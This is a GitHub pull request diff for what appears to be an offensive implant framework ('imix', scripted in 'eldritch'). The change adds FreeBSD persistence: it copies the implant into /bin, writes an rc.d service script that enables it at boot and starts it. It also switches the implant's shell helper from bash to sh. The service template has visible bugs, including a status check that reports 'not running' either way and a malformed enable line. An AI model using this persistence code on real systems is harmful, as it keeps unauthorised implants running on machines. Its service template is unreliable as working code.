Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bsd install #616

Merged
merged 8 commits into from
Feb 18, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
99 changes: 99 additions & 0 deletions implants/imix/install_scripts/install_service/main.eldritch
Original file line number Diff line number Diff line change
Expand Up @@ -138,6 +138,72 @@ launch_daemon_template = """<?xml version="1.0" encoding="UTF-8"?>
</plist>
"""

bsdinit_template = """
#!/bin/sh
#
# PROVIDE: {{ service_name }}
# REQUIRE: LOGIN FILESYSTEMS
# KEYWORD: shutdown

. /etc/rc.subr

name="{{ service_name }}"
rcvar="{{ service_name }}_enable"

# The command to start the service
command="{{ service_start_cmd }}"
# Additional command arguments if any
command_args=""

# Load the rc.subr script
load_rc_config $name
: ${name}_enable:=no }

# Define the function to start the service
start_cmd="${name}_start"

# Start function
{{ service_name }}_start() {
echo "Starting {{ service_name }}."
# Execute the command to start the service
${command} ${command_args} &
}

# Define the function to stop the service
stop_cmd="${name}_stop"

# Stop function
{{ service_name }}_stop() {
echo "Stopping {{ service_name }}."
# Command to stop the service if required
# For example, if {{ service_name }} supports graceful shutdown:
# killall -SIGTERM {{ service_name }}
}

# Define the function to check if the service is running
status_cmd="${name}_status"

# Status function
{{ service_name }}_status() {
# Check if the service is running
# For example, check if the process exists
if pgrep -q -x "{{ service_name }}"; then
echo "{{ service_name }} is not running."
else
echo "{{ service_name }} is not running."
fi
}

# Define command line arguments to control the service
# e.g., {{ service_name }}_enable="YES" to enable the service

# Start the service automatically during system startup
{{ service_name }}_enable="YES"

# Call the rc.subr functions to handle the service
run_rc_command "$1"
"""

def is_using_systemd():
command_get_res = sys.shell("command -v systemctl")
if command_get_res['status'] == 0 and file.is_file(command_get_res['stdout'].strip()):
Expand All @@ -152,6 +218,13 @@ def is_using_sysvinit():
return True
return False

def is_using_bsdinit():
# Lol this is how ansible does it too :shrug:
# https://github.com/ansible/ansible/blob/386edc666ec2a053b4d576fc4b2deeb46fe492b8/lib/ansible/module_utils/facts/system/service_mgr.py#L124
if sys.get_os()['platform'] == "BSD":
return True
return False

def systemd(service_name, service_desc, executable_path, executable_args):
# assets.copy("persist_service/files/systemd.service.j2","/tmp/systemd.service.j2")
file.write("/tmp/systemd.service.j2", systemd_service_template)
Expand Down Expand Up @@ -190,6 +263,27 @@ def sysvinit(service_name, service_desc, executable_path, executable_args):
sys.shell("service "+service_name+" start")
print("sysvinit installed")

def bsdinit(service_name, service_desc, executable_path, executable_args):
startup_dir = "/usr/local/etc/rc.d/"
if not file.is_dir(startup_dir):
print(startup_dir+" not found")
return

file.write("/tmp/svc.sh.j2", bsdinit_template)
args = {
"service_name":service_name,
"service_desc":service_desc,
"service_start_cmd":executable_path+" "+executable_args
}
file.template("/tmp/svc.sh.j2",startup_dir+service_name+".sh", args, False)
file.remove("/tmp/svc.sh.j2")

sys.shell("chmod +x "+startup_dir+service_name+".sh")
sys.shell("chmod +x "+executable_path)
sys.shell("service "+service_name+".sh start")

print("bsdinit installed")

def launch_daemon(service_name, executable_path, executable_args):
# assets.copy("persist_service/files/launch_daemon.plist.j2","/tmp/plist.j2")
file.write("/tmp/plist.j2",launch_daemon_template)
Expand Down Expand Up @@ -236,6 +330,11 @@ def persist_service(service_name, service_desc, executable_name, executable_args
executable_path = "C:\\ProgramData\\"+executable_name+".exe"
file.copy(src_path, executable_path)
windows_service_manager(service_name, service_name, service_desc, executable_path)
elif sys.get_os()['platform'] == "BSD":
executable_path = "/bin/"+executable_name
file.copy(src_path, executable_path)
if is_using_bsdinit():
bsdinit(service_name, service_desc, executable_path, executable_args)
else:
print("OS not supported")

Expand Down
2 changes: 1 addition & 1 deletion implants/lib/eldritch/src/sys/shell_impl.rs
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@
command_args = ["/c", cmd.as_str()].to_vec();
} else {
// linux and such
command_string = "bash";
command_string = "sh";

Check warning on line 36 in implants/lib/eldritch/src/sys/shell_impl.rs

View check run for this annotation

Codecov / codecov/patch

implants/lib/eldritch/src/sys/shell_impl.rs#L36

Added line #L36 was not covered by tests
command_args = ["-c", cmd.as_str()].to_vec();
}

Expand Down
Loading